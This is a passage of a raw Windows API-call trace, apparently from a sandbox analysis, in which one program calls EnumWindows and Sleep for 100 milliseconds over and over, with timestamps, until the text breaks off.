[0169.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.247] Sleep (dwMilliseconds=0x64) [0169.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.248] Sleep (dwMilliseconds=0x64) [0169.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.250] Sleep (dwMilliseconds=0x64) [0169.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.251] Sleep (dwMilliseconds=0x64) [0169.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.253] Sleep (dwMilliseconds=0x64) [0169.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.254] Sleep (dwMilliseconds=0x64) [0169.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.256] Sleep (dwMilliseconds=0x64) [0169.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.257] Sleep (dwMilliseconds=0x64) [0169.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.259] Sleep (dwMilliseconds=0x64) [0169.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.260] Sleep (dwMilliseconds=0x64) [0169.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.262] Sleep (dwMilliseconds=0x64) [0169.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.263] Sleep (dwMilliseconds=0x64) [0169.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.286] Sleep (dwMilliseconds=0x64) [0169.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.288] Sleep (dwMilliseconds=0x64) [0169.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.289] Sleep (dwMilliseconds=0x64) [0169.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.291] Sleep (dwMilliseconds=0x64) [0169.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.293] Sleep (dwMilliseconds=0x64) [0169.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.295] Sleep (dwMilliseconds=0x64) [0169.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.297] Sleep (dwMilliseconds=0x64) [0169.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.354] Sleep (dwMilliseconds=0x64) [0169.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.356] Sleep (dwMilliseconds=0x64) [0169.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.357] Sleep (dwMilliseconds=0x64) [0169.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.402] Sleep (dwMilliseconds=0x64) [0169.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.433] Sleep (dwMilliseconds=0x64) [0169.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.537] Sleep (dwMilliseconds=0x64) [0169.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.614] Sleep (dwMilliseconds=0x64) [0169.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.717] Sleep (dwMilliseconds=0x64) [0169.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.728] Sleep (dwMilliseconds=0x64) [0169.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.732] Sleep (dwMilliseconds=0x64) [0169.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.734] Sleep (dwMilliseconds=0x64) [0169.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.736] Sleep (dwMilliseconds=0x64) [0169.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.738] Sleep (dwMilliseconds=0x64) [0169.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.739] Sleep (dwMilliseconds=0x64) [0169.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.741] Sleep (dwMilliseconds=0x64) [0169.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.742] Sleep (dwMilliseconds=0x64) [0169.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.744] Sleep (dwMilliseconds=0x64) [0169.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.746] Sleep (dwMilliseconds=0x64) [0169.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.747] Sleep (dwMilliseconds=0x64) [0169.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.753] Sleep (dwMilliseconds=0x64) [0169.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.755] Sleep (dwMilliseconds=0x64) [0169.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.757] Sleep (dwMilliseconds=0x64) [0169.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.759] Sleep (dwMilliseconds=0x64) [0169.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.761] Sleep (dwMilliseconds=0x64) [0169.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.762] Sleep (dwMilliseconds=0x64) [0169.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.764] Sleep (dwMilliseconds=0x64) [0169.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.766] Sleep (dwMilliseconds=0x64) [0169.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.768] Sleep (dwMilliseconds=0x64) [0169.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.770] Sleep (dwMilliseconds=0x64) [0169.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.772] Sleep (dwMilliseconds=0x64) [0169.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.859] Sleep (dwMilliseconds=0x64) [0169.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0169.956] Sleep (dwMilliseconds=0x64) [0170.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.050] Sleep (dwMilliseconds=0x64) [0170.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.057] Sleep (dwMilliseconds=0x64) [0170.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.071] Sleep (dwMilliseconds=0x64) [0170.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.073] Sleep (dwMilliseconds=0x64) [0170.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.075] Sleep (dwMilliseconds=0x64) [0170.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.094] Sleep (dwMilliseconds=0x64) [0170.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.096] Sleep (dwMilliseconds=0x64) [0170.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.099] Sleep (dwMilliseconds=0x64) [0170.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.100] Sleep (dwMilliseconds=0x64) [0170.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.103] Sleep (dwMilliseconds=0x64) [0170.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.104] Sleep (dwMilliseconds=0x64) [0170.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.106] Sleep (dwMilliseconds=0x64) [0170.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.223] Sleep (dwMilliseconds=0x64) [0170.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.224] Sleep (dwMilliseconds=0x64) [0170.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.226] Sleep (dwMilliseconds=0x64) [0170.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.228] Sleep (dwMilliseconds=0x64) [0170.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.229] Sleep (dwMilliseconds=0x64) [0170.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.231] Sleep (dwMilliseconds=0x64) [0170.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.234] Sleep (dwMilliseconds=0x64) [0170.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.236] Sleep (dwMilliseconds=0x64) [0170.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.238] Sleep (dwMilliseconds=0x64) [0170.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.241] Sleep (dwMilliseconds=0x64) [0170.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.243] Sleep (dwMilliseconds=0x64) [0170.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.245] Sleep (dwMilliseconds=0x64) [0170.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.247] Sleep (dwMilliseconds=0x64) [0170.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.249] Sleep (dwMilliseconds=0x64) [0170.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.250] Sleep (dwMilliseconds=0x64) [0170.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.255] Sleep (dwMilliseconds=0x64) [0170.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.258] Sleep (dwMilliseconds=0x64) [0170.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.261] Sleep (dwMilliseconds=0x64) [0170.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.263] Sleep (dwMilliseconds=0x64) [0170.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.265] Sleep (dwMilliseconds=0x64) [0170.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.266] Sleep (dwMilliseconds=0x64) [0170.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.268] Sleep (dwMilliseconds=0x64) [0170.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.269] Sleep (dwMilliseconds=0x64) [0170.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.271] Sleep (dwMilliseconds=0x64) [0170.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.273] Sleep (dwMilliseconds=0x64) [0170.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.275] Sleep (dwMilliseconds=0x64) [0170.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.277] Sleep (dwMilliseconds=0x64) [0170.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.279] Sleep (dwMilliseconds=0x64) [0170.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.281] Sleep (dwMilliseconds=0x64) [0170.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.283] Sleep (dwMilliseconds=0x64) [0170.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.285] Sleep (dwMilliseconds=0x64) [0170.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.287] Sleep (dwMilliseconds=0x64) [0170.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.289] Sleep (dwMilliseconds=0x64) [0170.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.291] Sleep (dwMilliseconds=0x64) [0170.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.294] Sleep (dwMilliseconds=0x64) [0170.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.296] Sleep (dwMilliseconds=0x64) [0170.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.298] Sleep (dwMilliseconds=0x64) [0170.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.300] Sleep (dwMilliseconds=0x64) [0170.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.302] Sleep (dwMilliseconds=0x64) [0170.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.304] Sleep (dwMilliseconds=0x64) [0170.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.306] Sleep (dwMilliseconds=0x64) [0170.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.308] Sleep (dwMilliseconds=0x64) [0170.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.309] Sleep (dwMilliseconds=0x64) [0170.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.311] Sleep (dwMilliseconds=0x64) [0170.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.313] Sleep (dwMilliseconds=0x64) [0170.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.315] Sleep (dwMilliseconds=0x64) [0170.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.316] Sleep (dwMilliseconds=0x64) [0170.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.319] Sleep (dwMilliseconds=0x64) [0170.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.321] Sleep (dwMilliseconds=0x64) [0170.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.323] Sleep (dwMilliseconds=0x64) [0170.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.325] Sleep (dwMilliseconds=0x64) [0170.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.326] Sleep (dwMilliseconds=0x64) [0170.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.328] Sleep (dwMilliseconds=0x64) [0170.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.330] Sleep (dwMilliseconds=0x64) [0170.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.332] Sleep (dwMilliseconds=0x64) [0170.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.334] Sleep (dwMilliseconds=0x64) [0170.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.335] Sleep (dwMilliseconds=0x64) [0170.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.337] Sleep (dwMilliseconds=0x64) [0170.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.341] Sleep (dwMilliseconds=0x64) [0170.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.344] Sleep (dwMilliseconds=0x64) [0170.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.347] Sleep (dwMilliseconds=0x64) [0170.348] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.349] Sleep (dwMilliseconds=0x64) [0170.350] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.350] Sleep (dwMilliseconds=0x64) [0170.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.352] Sleep (dwMilliseconds=0x64) [0170.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.354] Sleep (dwMilliseconds=0x64) [0170.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.355] Sleep (dwMilliseconds=0x64) [0170.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.357] Sleep (dwMilliseconds=0x64) [0170.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.364] Sleep (dwMilliseconds=0x64) [0170.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.366] Sleep (dwMilliseconds=0x64) [0170.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.368] Sleep (dwMilliseconds=0x64) [0170.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.370] Sleep (dwMilliseconds=0x64) [0170.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.372] Sleep (dwMilliseconds=0x64) [0170.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.375] Sleep (dwMilliseconds=0x64) [0170.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.376] Sleep (dwMilliseconds=0x64) [0170.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.378] Sleep (dwMilliseconds=0x64) [0170.379] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.380] Sleep (dwMilliseconds=0x64) [0170.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.381] Sleep (dwMilliseconds=0x64) [0170.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.383] Sleep (dwMilliseconds=0x64) [0170.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.384] Sleep (dwMilliseconds=0x64) [0170.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.386] Sleep (dwMilliseconds=0x64) [0170.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.387] Sleep (dwMilliseconds=0x64) [0170.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.389] Sleep (dwMilliseconds=0x64) [0170.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.390] Sleep (dwMilliseconds=0x64) [0170.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.392] Sleep (dwMilliseconds=0x64) [0170.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.394] Sleep (dwMilliseconds=0x64) [0170.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.396] Sleep (dwMilliseconds=0x64) [0170.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.397] Sleep (dwMilliseconds=0x64) [0170.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.399] Sleep (dwMilliseconds=0x64) [0170.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.400] Sleep (dwMilliseconds=0x64) [0170.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.402] Sleep (dwMilliseconds=0x64) [0170.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.403] Sleep (dwMilliseconds=0x64) [0170.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.405] Sleep (dwMilliseconds=0x64) [0170.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.406] Sleep (dwMilliseconds=0x64) [0170.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.408] Sleep (dwMilliseconds=0x64) [0170.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.409] Sleep (dwMilliseconds=0x64) [0170.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.411] Sleep (dwMilliseconds=0x64) [0170.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.413] Sleep (dwMilliseconds=0x64) [0170.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.414] Sleep (dwMilliseconds=0x64) [0170.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.416] Sleep (dwMilliseconds=0x64) [0170.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.418] Sleep (dwMilliseconds=0x64) [0170.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.420] Sleep (dwMilliseconds=0x64) [0170.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.422] Sleep (dwMilliseconds=0x64) [0170.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.424] Sleep (dwMilliseconds=0x64) [0170.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.426] Sleep (dwMilliseconds=0x64) [0170.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.427] Sleep (dwMilliseconds=0x64) [0170.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.429] Sleep (dwMilliseconds=0x64) [0170.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.432] Sleep (dwMilliseconds=0x64) [0170.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.433] Sleep (dwMilliseconds=0x64) [0170.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.435] Sleep (dwMilliseconds=0x64) [0170.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.437] Sleep (dwMilliseconds=0x64) [0170.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.439] Sleep (dwMilliseconds=0x64) [0170.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.441] Sleep (dwMilliseconds=0x64) [0170.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.444] Sleep (dwMilliseconds=0x64) [0170.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.445] Sleep (dwMilliseconds=0x64) [0170.447] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.447] Sleep (dwMilliseconds=0x64) [0170.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.449] Sleep (dwMilliseconds=0x64) [0170.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.450] Sleep (dwMilliseconds=0x64) [0170.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.452] Sleep (dwMilliseconds=0x64) [0170.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.453] Sleep (dwMilliseconds=0x64) [0170.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.480] Sleep (dwMilliseconds=0x64) [0170.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.482] Sleep (dwMilliseconds=0x64) [0170.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.484] Sleep (dwMilliseconds=0x64) [0170.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.485] Sleep (dwMilliseconds=0x64) [0170.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.487] Sleep (dwMilliseconds=0x64) [0170.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.489] Sleep (dwMilliseconds=0x64) [0170.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.491] Sleep (dwMilliseconds=0x64) [0170.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.493] Sleep (dwMilliseconds=0x64) [0170.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.495] Sleep (dwMilliseconds=0x64) [0170.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.497] Sleep (dwMilliseconds=0x64) [0170.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.498] Sleep (dwMilliseconds=0x64) [0170.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.500] Sleep (dwMilliseconds=0x64) [0170.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.501] Sleep (dwMilliseconds=0x64) [0170.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.503] Sleep (dwMilliseconds=0x64) [0170.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.504] Sleep (dwMilliseconds=0x64) [0170.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.506] Sleep (dwMilliseconds=0x64) [0170.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.510] Sleep (dwMilliseconds=0x64) [0170.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.512] Sleep (dwMilliseconds=0x64) [0170.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.514] Sleep (dwMilliseconds=0x64) [0170.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.516] Sleep (dwMilliseconds=0x64) [0170.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.517] Sleep (dwMilliseconds=0x64) [0170.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.519] Sleep (dwMilliseconds=0x64) [0170.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.521] Sleep (dwMilliseconds=0x64) [0170.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.522] Sleep (dwMilliseconds=0x64) [0170.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.527] Sleep (dwMilliseconds=0x64) [0170.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.529] Sleep (dwMilliseconds=0x64) [0170.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.530] Sleep (dwMilliseconds=0x64) [0170.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.532] Sleep (dwMilliseconds=0x64) [0170.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.533] Sleep (dwMilliseconds=0x64) [0170.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.535] Sleep (dwMilliseconds=0x64) [0170.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.537] Sleep (dwMilliseconds=0x64) [0170.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.538] Sleep (dwMilliseconds=0x64) [0170.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.541] Sleep (dwMilliseconds=0x64) [0170.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.543] Sleep (dwMilliseconds=0x64) [0170.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.545] Sleep (dwMilliseconds=0x64) [0170.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.546] Sleep (dwMilliseconds=0x64) [0170.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.548] Sleep (dwMilliseconds=0x64) [0170.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.549] Sleep (dwMilliseconds=0x64) [0170.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.551] Sleep (dwMilliseconds=0x64) [0170.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.552] Sleep (dwMilliseconds=0x64) [0170.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.554] Sleep (dwMilliseconds=0x64) [0170.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.555] Sleep (dwMilliseconds=0x64) [0170.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.557] Sleep (dwMilliseconds=0x64) [0170.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.559] Sleep (dwMilliseconds=0x64) [0170.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.561] Sleep (dwMilliseconds=0x64) [0170.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.563] Sleep (dwMilliseconds=0x64) [0170.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.564] Sleep (dwMilliseconds=0x64) [0170.565] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.566] Sleep (dwMilliseconds=0x64) [0170.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.567] Sleep (dwMilliseconds=0x64) [0170.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.569] Sleep (dwMilliseconds=0x64) [0170.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.571] Sleep (dwMilliseconds=0x64) [0170.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.572] Sleep (dwMilliseconds=0x64) [0170.575] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.575] Sleep (dwMilliseconds=0x64) [0170.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.576] Sleep (dwMilliseconds=0x64) [0170.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.578] Sleep (dwMilliseconds=0x64) [0170.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.580] Sleep (dwMilliseconds=0x64) [0170.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.581] Sleep (dwMilliseconds=0x64) [0170.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.583] Sleep (dwMilliseconds=0x64) [0170.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.585] Sleep (dwMilliseconds=0x64) [0170.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0170.586] Sleep 